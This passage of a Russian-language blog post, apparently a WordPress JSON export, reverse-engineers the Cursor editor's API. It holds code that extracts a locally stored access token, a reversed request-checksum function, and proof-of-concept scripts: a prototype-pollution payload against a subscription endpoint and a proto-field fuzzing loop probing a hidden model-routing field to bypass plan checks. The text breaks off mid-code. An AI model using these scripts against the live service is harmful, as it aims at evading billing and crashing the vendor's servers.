\u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u0435\u0439)message AgentRunRequest {  ConversationState conversation_state = 1;  Action action = 2;  ModelDetails model_details = 3;       \/\/ \u2190 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u043b\u044f plan check  McpTools mcp_tools = 4;  string conversation_id = 5;  McpFileSystemOptions mcp_file_system_options = 6;  SkillOptions skill_options = 7;  string custom_system_prompt = 8;  RequestedModel requested_model = 9;   \/\/ \u2190 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u043b\u044f routing  bool suggest_next_prompt = 10;  string subagent_type_name = 11;  bool exclude_workspace_context = 12;  string harness = 13;  repeated RequestedModel selected_subagent_models = 14;  repeated ModelDetails selected_subagent_model_details = 15;  string conversation_group_id = 16;  repeated PreFetchedBlobs pre_fetched_blobs = 17;  \/\/ string dev_raw_model_slug = 18;    \/\/ \u2190 \u0421\u0415\u0420\u0412\u0415\u0420\u041d\u041e\u0415 \u041f\u041e\u041b\u0415, \u043d\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435!}\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u043a\u0430: \u043f\u043e\u043b\u0435 18 (devRawModelSlug) \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u043c \u043a\u043e\u0434\u0435, \u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0438 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. \u041e\u0431 \u044d\u0442\u043e\u043c \u043d\u0438\u0436\u0435.\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432Cursor \u0445\u0440\u0430\u043d\u0438\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SQLite:import sqlite3VSCDB = &#171;~\/.config\/Cursor\/User\/globalStorage\/state.vscdb&#187;con = sqlite3.connect(VSCDB)row = con.execute(    &#171;SELECT value FROM ItemTable WHERE key=&#8217;cursorAuth\/accessToken'&#187;).fetchone()TOKEN = row[0].strip(&#8216;&#187;&#8216;)JWT-\u0442\u043e\u043a\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 claims:{  &#171;sub&#187;: &#171;auth0|&#8230;&#187;,  &#171;iss&#187;: &#171;https:\/\/prod.authentication.cursor.sh\/&#187;,  &#171;aud&#187;: &#171;https:\/\/cursor.com&#187;,  &#171;iat&#187;: 1751457906,  &#171;exp&#187;: 1752062706,  &#171;scope&#187;: &#171;openid profile email offline_access&#187;,  &#171;azp&#187;: &#171;KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB&#187;}\u0417\u0430\u043c\u0435\u0442\u044c\u0442\u0435: \u043d\u0438\u043a\u0430\u043a\u0438\u0445 claims \u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u0438\u043b\u0438 \u043f\u043b\u0430\u043d\u0435. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.2. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\u0421\u0442\u0435\u043aClient (Electron)   \u2193 HTTP\/2 + Connect-RPCAPI Gateway (api2.cursor.sh, api5.cursor.sh)  \u2193 Agent Service (model routing, plan check)  \u2193LLM providers (OpenAI, Anthropic, Google)\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b: Connect-RPCConnect-RPC \u0444\u0440\u0435\u0439\u043c\u0438\u0440\u0443\u0435\u0442 protobuf \u0432 HTTP\/2:[1 byte flags][4 bytes length][protobuf payload]flags=0x00: data frameflags=0x02: trailer frame (JSON \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\/\u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c\u0438)\u041f\u0440\u0438\u043c\u0435\u0440 \u0444\u0440\u0435\u0439\u043c\u0438\u043d\u0433\u0430:import struct# \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 Connect-RPC \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044fdef frame(proto_bytes):    return struct.pack(&#8216;&gt;BI&#8217;, 0, len(proto_bytes)) + proto_bytes + \\           struct.pack(&#8216;&gt;BI&#8217;, 2, 0)  # \u043f\u0443\u0441\u0442\u043e\u0439 trailerChecksum-\u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043cCursor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 checksum \u0434\u043b\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432:def cursor_checksum(machine_id, mac_machine_id):    S = int(time.time() * 1000) \/\/ 1_000_000    x = bytearray([        (S &gt;&gt; 40) &amp; 0xFF, (S &gt;&gt; 32) &amp; 0xFF,        (S &gt;&gt; 24) &amp; 0xFF, (S &gt;&gt; 16) &amp; 0xFF,        (S &gt;&gt; 8) &amp; 0xFF,   S &amp; 0xFF    ])    e = 165  # seed    for t in range(len(x)):        x[t] = ((x[t] ^ e) + t % 256) &amp; 0xFF        e = x[t]    encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b&#8217;=&#8217;)    return encoded.decode() + machine_id + &#8216;\/&#8217; + mac_machine_id\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0440\u0435\u0432\u0435\u0440\u0441\u043d\u0443\u0442 \u0438\u0437 workbench.desktop.main.js. Timestamp-based, \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432https:\/\/api2.cursor.sh         \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 APIhttps:\/\/agent.api5.cursor.sh   \u2014 agent-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0439https:\/\/agentn.api5.cursor.sh  \u2014 agent (\u043d\u043e\u0432\u044b\u0439?)https:\/\/agent-gcpp-uswest.api5.cursor.shhttps:\/\/agentn-gcpp-eucentral.api5.cursor.shhttps:\/\/agentn-gcpp-apsoutheast.api5.cursor.shhttps:\/\/repo42.cursor.sh       \u2014 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439?3. \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 API-surfacegRPC-\u0441\u0435\u0440\u0432\u0438\u0441\u044b (Connect-RPC)\u0421\u0435\u0440\u0432\u0438\u0441\u041c\u0435\u0442\u043e\u0434\u0422\u0438\u043fagent.v1.AgentServiceRunServerStreamingagent.v1.AgentServiceGetDefaultModelForCliUnaryagent.v1.AgentServiceUploadConversationBlobsUnaryaiserver.v1.DashboardServiceGetUsageUnaryaiserver.v1.DashboardServiceActivatePromotionUnaryaiserver.v1.DashboardServiceGetAllowedModelIntentsUnaryaiserver.v1.BackgroundComposerServiceStartBackgroundComposerFromSnapshotUnaryaiserver.v1.BackgroundComposerServiceAttachBackgroundComposerServerStreamingaiserver.v1.BackgroundComposerServiceListBackgroundComposersUnaryREST-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b\u041f\u0443\u0442\u044c\u041c\u0435\u0442\u043e\u0434\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\/auth\/full_stripe_profileGET\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438\/auth\/start-subscription-nowPOST\u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438\/auth\/meGET\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435Statsig Feature Gates (\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043e 40+)cc_override_agent_backend     \u2014 \u0432\u044b\u0431\u043e\u0440 agent backenduser_is_professional          \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 pro-\u0441\u0442\u0430\u0442\u0443\u0441\u0430explicit_subagent_models      \u2014 \u044f\u0432\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043b\u044f subagentenable_ide_enterprise_plan_usageuse_model_parametersagent_review_fake_dev4. CVE-1: Prototype Pollution (CWE-1321)Severity: Medium (DoS, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f) Endpoint: POST \/auth\/start-subscription-now Impact: Server crash (HTTP 500), \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0443\u0442\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435JSON-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b Cursor \u043f\u0430\u0440\u0441\u044f\u0442 \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0431\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438 __proto__. \u041f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 payload \u0441 __proto__ \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 500 Internal Server Error \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e 400 Cannot upgrade free user.PoCimport httpx, jsonpayload = {    &#171;tier&#187;: &#171;pro&#187;,    &#171;__proto__&#187;: {        &#171;membershipType&#187;: &#171;pro&#187;,        &#171;hasActiveSubscription&#187;: True    }}r = httpx.post(    &#171;https:\/\/api2.cursor.sh\/auth\/start-subscription-now&#187;,    content=json.dumps(payload).encode(),    headers={        &#171;authorization&#187;: &#171;Bearer &lt;token&gt;&#187;,        &#171;content-type&#187;: &#171;application\/json&#187;    })print(r.status_code, r.text)\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044fPayload\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u043e\u0442\u0432\u0435\u0442\u0424\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0432\u0435\u0442{&#171;tier&#187;: &#171;pro&#187;}400 \u201cCannot upgrade free user\u201d400 \u2713{&#171;tier&#187;: &#171;pro&#187;, &#171;__proto__&#187;: {&#8230;}}400500 \u201cError\u201d \u2717{&#171;constructor&#187;: {&#171;prototype&#187;: {&#8230;}}}400500 \u201cError\u201d \u2717{&#171;__proto__&#187;: {&#171;tier&#187;: &#171;pro&#187;}}400500 \u201cError\u201d \u2717\u0412\u0441\u0435 10 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0439 \u0441 __proto__ \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 500 \u0432\u043c\u0435\u0441\u0442\u043e 400. \u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u0435\u043a\u0442 prototype chain \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 ActivatePromotion:# \u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442: &#171;Unknown promo type id&#187;payload = {&#171;promoTypeId&#187;: &#171;test&#187;}# \u0421 __proto__: &#171;invalid_argument&#187; (\u0414\u0420\u0423\u0413\u0410\u042f \u043e\u0448\u0438\u0431\u043a\u0430!)payload = {&#171;promoTypeId&#187;: &#171;test&#187;, &#171;__proto__&#187;: {&#171;isValid&#187;: True}}\u042d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 ActivatePromotion \u0441 __proto__ \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 invalid_argument \u0432\u043c\u0435\u0441\u0442\u043e Unknown promo type id \u2014 pollution \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0443\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.\u0418\u043c\u043f\u0430\u043a\u0442DoS: \u043b\u044e\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c 500-\u043a\u0443 \u043d\u0430 billing endpoints\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f: \u0435\u0441\u043b\u0438 pollution \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0435\u0442 \u0432 shared state (\u043c\u0430\u043b\u043e\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0432 production, \u043d\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b)5. CVE-2: devRawModelSlug \u2014 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 (CWE-489)Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: \u041d\u0430\u043b\u0438\u0447\u0438\u0435 dev-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e bypass model routing \u0432 production\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u041f\u0440\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0432\u0441\u0435\u0445 proto-\u043f\u043e\u043b\u0435\u0439 (1-50) \u043d\u0430 AgentRunRequest:for field_num in range(1, 51):    extra = proto_field(field_num, wire_type=2, value=&#187;pro&#187;)    body = build_agent_request(&#171;gpt-4o&#187;, extra_fields=extra)    response = send(body)    if &#171;Free plans&#187; not in response:        print(f&#187;!!! field {field_num}: {response}&#187;)\u041f\u043e\u043b\u044f 6, 7, 8, 10-17 \u2192 parse error \u0438\u043b\u0438 plan_block (\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e). \u041f\u043e\u043b\u0435 18 \u2192 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442:devRawModelSlug is not available\u0410\u043d\u0430\u043b\u0438\u0437\u041f\u043e\u043b\u0435 18 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u043c \u043a\u043e\u0434\u0435 \u2014 grep \u043f\u043e 1.1M \u0441\u0442\u0440\u043e\u043a \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 devRawModelSlug \u0432 proto-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0421\u0435\u0440\u0432\u0435\u0440 \u0435\u0433\u043e \u043f\u0430\u0440\u0441\u0438\u0442 \u0438 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442 \u2014 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0430 \u043d\u0435 generic parse error\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0414\u041e plan check \u2014 \u043f\u0440\u0438 f3=default (\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 free check) + f18=gpt-4o \u2192 \u043e\u0448\u0438\u0431\u043a\u0430 devRawModelSlug, \u0430 \u043d\u0435 plan_block\u041e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 \u0412\u0421\u0415\u0425 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445:api2.cursor.sh                         \u2192 &#171;devRawModelSlug is not available&#187;agent.api5.cursor.sh                   \u2192 &#171;devRawModelSlug is not available&#187;agentn.api5.cursor.sh                  \u2192 &#171;devRawModelSlug is not available&#187;agent-gcpp-uswest.api5.cursor.sh       \u2192 &#171;devRawModelSlug is not available&#187;agentn-gcpp-eucentral.api5.cursor.sh   \u2192 &#171;devRawModelSlug is not available&#187;agentn-gcpp-apsoutheast.api5.cursor.sh \u2192 &#171;devRawModelSlug is not available&#187;PoCimport structdef varint(v):    r = bytearray()    while v &gt; 0x7f: &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-477491","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/477491","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=477491"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/477491\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=477491"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=477491"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=477491"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}